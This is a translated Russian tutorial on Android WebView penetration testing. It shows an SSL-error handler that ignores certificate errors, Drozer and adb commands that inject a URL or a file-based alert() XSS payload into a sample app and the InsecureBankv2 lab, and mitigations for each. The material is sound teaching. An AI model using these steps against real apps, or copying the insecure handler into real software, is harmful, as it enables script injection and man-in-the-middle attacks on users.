Тестирование на проникновение Android | Атаки WebView

В данной статье пойдет речь о пентестинге Android. Читатели ближе познакомятся с тем, как осуществляются атаки WebView, узнают их особенности и уникальные свойства.
Что такое WebView?
WebView – это тип просмотра веб-страниц, во время которого они отображаются в определенном приложении Android без необходимости открывать ссылки во внешнем браузере. Существуют различные типы приложений WebView. К примеру можно выделить следующие:
- Просмотр объявлений.
- Программы для ведения блога, которые отображают веб-страницу в собственном приложении.
- Некоторые торговые приложения (например, Reliance Digital) работают на принципах WebView.
- Расширенный поиск с помощью технологий WebView.
- Аутентификация API на веб-сайте.
- Банковские приложения часто визуализируют выписки с помощью WebView.
Далее в статье будет приведен пример сценария атаки, во время которой WebView используется для отображения банковских счетов.
Уязвимости на основе WebView
Варианты использования этой технологии достаточно гибкие, но в целом из-за плохой реализации WebView существуют следующие уязвимости:
- Сниффинг учетных данных с открытым текстом
- Неверная обработка ошибок SSL
Часто разработчики игнорируют ошибки SSL. Это означает, что приложение уязвимо для MiTM-атак. Например, следует взглянуть на следующий код:
@Override
public void onReceivedSslError(WebView view, SslErrorHandler handler,
SslError error)
{
handler.proceed();
}
- Возможность проведения XSS, если метод setJavaScriptEnabled() имеет значение TRUE
- Удаленное выполнение кода
- Атаки API
- Инъекции, если WebView имеет доступ к поставщику контента (т.е. если в приложении разрешен метод setAllowContentAccess)
- Внутренний доступ к файлам, если setAllowUniversalAccessFromFileURLs имеет значение TRUE
Реализация WebView
Реализация WebView будет ограничена тем, как настроить файлы проекта Android Studio.
Шаг 1. Импорт android.webkit.WebView и android.webkit.WebSettings в проект. Нужно ввести следующие данные в файл активности:
webSettings.setJavaScriptEnabled(true);
Это делается для того, чтобы JavaScript успешно запускался во время вызова WebViews, иначе страницы не будут выглядеть так броско, как в обычном браузере.
Шаг 2. Чтобы реализовать WebView в нужном приложении, необходимо добавить следующий код в файл someActivity.java:
WebView var = (WebView) findViewbyId(R.id.webview);
Шаг 3. После этого, чтобы загрузить определенный URL-адрес в WebView, можно использовать метод loadUrl:
browser.loadUrl("https://hackingarticles.in");
Следует отметить, что здесь существуют различные методы, которые пользователь может использовать, например, clear History (), canGoBack (), destroy ().
Шаг 4. Далее нужно определить тип просмотра в файле XML-макета:
<WebView xmlns:android="http://schemas.android.com/apk/res/android"
android:id="@+id/webview"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
/>
Шаг 5. Наконец, следует предоставить ему разрешения на доступ в Интернет в файле манифеста.
<uses-permission android:name=”android.permission.INTERNET” />
Интересный факт: можно сделать WebViews интерактивным, JavaScript был включен в коде во время шага номер 1. Он также может быть использован для выявления различных связанных с сетью уязвимостей, таких как XSS в Android.
Выполнение атак XSS с помощью WebViews
Как известно, HTML-страницы могут храниться во внутреннем хранилище или удаленно. Таким образом, WebViews способен вызывать удаленные URL-адреса, а также внутренние HTML-страницы. Следующий код должен присутствовать в реализации WebView, чтобы приложение могло запускать удаленные и локальные HTML-страницы:
- Для внешнего доступа по URL-адресу: разрешение на доступ в Интернет в файле манифеста. SetJavaScriptEnabled() должен иметь значение TRUE для динамических страниц.
- Для внутреннего доступа к файлам: setAllowFileAccess() должен быть также включен. Если файл манифеста имеет разрешение на чтение внешнего хранилища, он может легко получить доступ к пользовательским HTML-страницам, хранящимся на SD-карте. Следовательно, это одна из причин, почему это разрешение значительно влияет на безопасность.
Сценарий 1. Было закодировано очень простое приложение для Android, которое использует WebView для визуализации веб-сайта с хакерскими статьями. Его можно скачать, если перейти по этой ссылке.

Когда кнопка нажата, нужный сайт визуализируется с помощью клиента WebView.

Теперь нужно запустить агента Drozer и проверить экспортируемую деятельность. Следует отметить, что если действие не экспортируется, оно не может быть вызвано с определенным намерением.
Примечание: Здесь, используя Drozer, пользователь просто имитирует приложение с нужным ему кодом. Будет использоваться намерение вызвать это действие с поддельным URL-адресом и, следовательно, задействовать имеющуюся уязвимость.
adb forward tcp:31415 tcp:31415
drozer console connect
run app.package.attacksurface com.example.webviewexample
run app.activity.info -a com.example.webviewexample

Теперь пользователь видит, что WebViewActivity экспортируется. Нужно провести декомпиляцию и восстановить исходный код, запущенный за самой активностью, чтобы человек смог сформировать эксплойт.
В MainActivity пользователь замечает, что сама кнопка вызывает намерение при нажатии. Разложим все по полочкам:
- Intent intent = new Intent(Source Class, Destination Class) — вызывает класс назначения, используя подобные намерения.
- intent.putExtra(KEY, VALUE) — это дополнительный параметр, который будет передаваться в класс назначения при вызове намерения.
Примечание: KEY – это ссылочная переменная (она же имя дополнительного значения, которое, в данном случае, является «url1», а «url» – это строка, содержащая ссылку на нужный сайт).
- startActivity(intent) — вызывает класс назначения и запускает действие.

Настала пора взглянуть на WebViewActivity и разобрать то, что она содержит в себе:
- String url = getIntent().getStringExtra(“url1”) — позволит сократить количество дополнительных значений («here» и «url1») в новой строке.
- setJavaScriptEnabled(true) – даст возможность WebView запустить JavaScript в нужном приложении. Обычно используется для обеспечения полной функциональности сайта, но может быть использован и в других целях.
- loadUrl(url) — функция, используемая для загрузки URL-адреса в WebView.

Теперь следует сформулировать запрос, вызывающий намерение, в котором есть дополнительные функции. Следовательно, чтобы использовать WebView с помощью Drozer, вводится следующая команда:
run app.activity.start --component com.example.webviewexample com.example.webviewexample.WebViewActivity --extra string url1 https://google.com
Этот запрос изменяет начальное значение ключа «url1» при вызове WebViewActivity для запуска веб-сайта поставщика.

Итак, как злоумышленник может разместить фишинговую страницу или страницу с каким-то вредоносным кодом JavaScript в данном случае? Например, был настроен простой JS PoC в exploit.html и размещен на своем сервере Python. Это служит PoC для всех атак инъекций на стороне клиента в соответствии с OWASP Top 10 для мобильных устройств в 2014 году.
Exploit.html
<script>alert("hacking articles!")</script>
python3 -m http.server 80

Все, что остается сделать, это включить эту HTML-страницу в запрос Drozer, который пользователь только что отправил.
run app.activity.start --component com.example.webviewexample com.example.webviewexample.WebViewActivity --extra string url1 http://192.168.1.107/exploit.html
Как видно, человек только что использовал уязвимый WebView для выполнения XSS-атаки.

Меры по смягчению последствий атаки и рекомендации. Следующие меры по смягчению последствий могут быть закодированы для реализации более надежных политик безопасности приложения:
- Проверка URL-адресов, загружаемых в WebViews
- Правильная обработка ошибок SSL/TLS (иначе это может привести к атакам MiTM)
- Переопределение метода shouldOverrideUrlLoading
- Отключение JavaScript, если в нем нет необходимости
- Избегание использования функции JavascriptInterface, так как она позволяет JS вводить объекты Java в код, который может быть использован злоумышленником с помощью WebViews
Межсайтовый скриптинг с помощью Internal File Access в WebView
Часто один файл может создать или уничтожить файлы во внутренней файловой системе, а его выходные данные отображаются в WebViews. Приложения имеют доступ на чтение/запись во внутреннем хранилище, и поэтому злоумышленник способен обманом заставить программу выполнить свой пользовательский код из расположения одного из файлов. Что произойдет, если человек введет код JavaScript в один из этих файлов? Здесь будет использоваться приложение под названием InsecureBankv2, созданное Dinesh Shetty (оно было найдено здесь). После настройки приложения пользователь увидит следующую страницу:

Нужно убедиться, что AndroLabServer запущен (сначала установить зависимости и запустить python app.py). Учетные данные по умолчанию – dinesh / Dinesh@123$.
После входа в систему есть три различных опции. Сначала пользователь переведет некоторые средства, используя первую из них. Здесь он вводит два счета num и amount, вот и все. После этого человек выбирает вторую доступную опцию под названием View Statement.

При нажатии на опцию View Statement человек видит, что открывается WebView, отображающий что-то вроде этого:

Прежде чем продолжить, пользователь сначала проверит журналы. Они скрывают много информации о таких вещах, как деятельность, средства и учетные данные. Итак, вводится следующая команда:
adb logcat
Всплыло что-то интересное.

Здесь пользователь видит, что действие под названием View Statement принимало входные данные из HTML-файла Statements_dinesh.html. Данные хранятся во внешнем хранилище в разделе /storage/emulated/0.
adb shell
cd storage/emulated/0 && ls

Эксплуатация. Таким образом, вполне возможно, что если злоумышленник установит приложение на устройство жертвы, оно получит доступ на чтение/запись файлов в хранилище, и он может изменить HTML-код. Возможно, мошенник вставит в него вредоносный код, и он будет выполнен, как только истинный пользователь нажмет на кнопку.
Нужно попробовать подправить Statements_dinesh.html:
adb shell
cd storage/emulated/0
echo "<html><body><script>alert("Hacking Articles!”)</script></body></html>" > Statements_dinesh.html

Теперь пользователь нажмет на View и посмотрит, что происходит после этого:

Как можно увидеть, пользовательский код теперь запускается. Но как именно это происходит? При проверке приведенного ниже кода пользователь обнаружил небезопасную реализацию функции loadUrl (), которая обращалась к внутреннему файлу с помощью file:// resolver.
Проблема заключалась еще в том, что JavaScript также был включен.

Смягчение последствий. Загрузка контента через URL-адреса file:// обычно не рекомендуется. setAllowFileAccess(boolean) может использоваться для получения и отказа в доступе к хранилищу с помощью WebView. Стоит обратить свое внимание, что активы все еще могут быть загружены с помощью file:// (как и выше), но это очень небезопасно. Чтобы решить эту проблему, всегда следует применять androidx.webkit.WebViewAssetLoader для получения доступа к файлам, включая активы и ресурсы, через http(s):// схемы, а не URL-адреса файлов.
Бонус. В Android есть CORS (Cross-Origin Resource Sharing). В принципе, CORS в Android может быть настроен таким образом, чтобы разрешить WebView получать доступ к различным файловым схемам. Например, file:// может быть вызван через URL-адреса с помощью метода setAllowFileAccessFromFileURLs (). Это очень небезопасно, так как вредоносный скрипт может быть вызван в самом file://. Не стоит включать этот параметр, если пользователь открывает файлы, которые могут быть созданы или изменены извне.
Автор переведенной статьи: Harshit Rajpal.
Важно! Информация исключительно в учебных целях. Пожалуйста, соблюдайте законодательство и не применяйте данную информацию в незаконных целях.


